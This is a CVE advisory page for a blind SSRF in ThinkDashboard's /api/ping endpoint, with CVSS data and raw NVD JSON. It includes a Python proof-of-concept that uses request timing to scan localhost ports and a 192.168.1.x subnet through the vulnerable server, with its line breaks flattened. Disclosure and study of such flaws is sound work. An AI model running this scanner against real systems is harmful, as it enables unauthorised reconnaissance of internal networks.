Security Vulnerability Report
中文
CVE-2025-64327 CVSS 5.3 MEDIUM

CVE-2025-64327

Published: 2025-11-06 21:15:44
Last Modified: 2025-11-21 16:40:42

Description

ThinkDashboard is a self-hosted bookmark dashboard built with Go and vanilla JavaScript. Versions 0.6.7 and below contain a Blind Server-Side Request Forgery (SSRF) vulnerability, in its `/api/ping?url= endpoint`. This allows an attacker to make arbitrary requests to internal or external hosts. This can include discovering ports open on the local machine, hosts on the local network, and ports open on the hosts on the internal network. This issue is fixed in version 0.6.8.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:matiasdesuu:thinkdashboard:*:*:*:*:*:*:*:* - VULNERABLE
ThinkDashboard <= 0.6.7

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import time target = "http://target.com/api/ping" # 探测本地端口 def check_port(port): payload = { "url": f"http://127.0.0.1:{port}" } start = time.time() try: response = requests.get(target, params=payload, timeout=3) elapsed = time.time() - start return elapsed < 2.5 # 如果快速返回,说明端口开放 except: return False # 扫描常见端口 common_ports = [22, 80, 443, 3306, 5432, 6379, 8080, 8443] for port in common_ports: if check_port(port): print(f"Port {port} is open") # 探测内网主机 for i in range(1, 255): payload = { "url": f"http://192.168.1.{i}:80" } start = time.time() try: response = requests.get(target, params=payload, timeout=2) if time.time() - start < 1.5: print(f"Host 192.168.1.{i} is reachable") except: pass

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-64327", "sourceIdentifier": "[email protected]", "published": "2025-11-06T21:15:44.117", "lastModified": "2025-11-21T16:40:42.397", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "ThinkDashboard is a self-hosted bookmark dashboard built with Go and vanilla JavaScript. Versions 0.6.7 and below contain a Blind Server-Side Request Forgery (SSRF) vulnerability, in its `/api/ping?url= endpoint`. This allows an attacker to make arbitrary requests to internal or external hosts. This can include discovering ports open on the local machine, hosts on the local network, and ports open on the hosts on the internal network. This issue is fixed in version 0.6.8."}, {"lang": "es", "value": "ThinkDashboard es un panel de marcadores autoalojado construido con Go y JavaScript puro. Las versiones 0.6.7 e inferiores contienen una vulnerabilidad de Blind Server-Side Request Forgery (SSRF), en su '/api/ping?url= endpoint'. Esto permite a un atacante realizar peticiones arbitrarias a hosts internos o externos. Esto puede incluir el descubrimiento de puertos abiertos en la máquina local, hosts en la red local y puertos abiertos en los hosts de la red interna. Este problema está solucionado en la versión 0.6.8."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:matiasdesuu:thinkdashboard:*:*:*:*:*:*:*:*", "versionEndExcluding": "0.6.8", "matchCriteriaId": "60EB1ECB-DC80-4185-8EB8-1276C74DF6D0"}]}]}], "references": [{"url": "https://github.com/MatiasDesuu/ThinkDashboard/commit/16976263b22a4b0526b2c7c30294cc099258edae", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/MatiasDesuu/ThinkDashboard/releases/tag/0.6.8", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/MatiasDesuu/ThinkDashboard/security/advisories/GHSA-p52r-qq3j-8p78", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/MatiasDesuu/ThinkDashboard/security/advisories/GHSA-p52r-qq3j-8p78", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}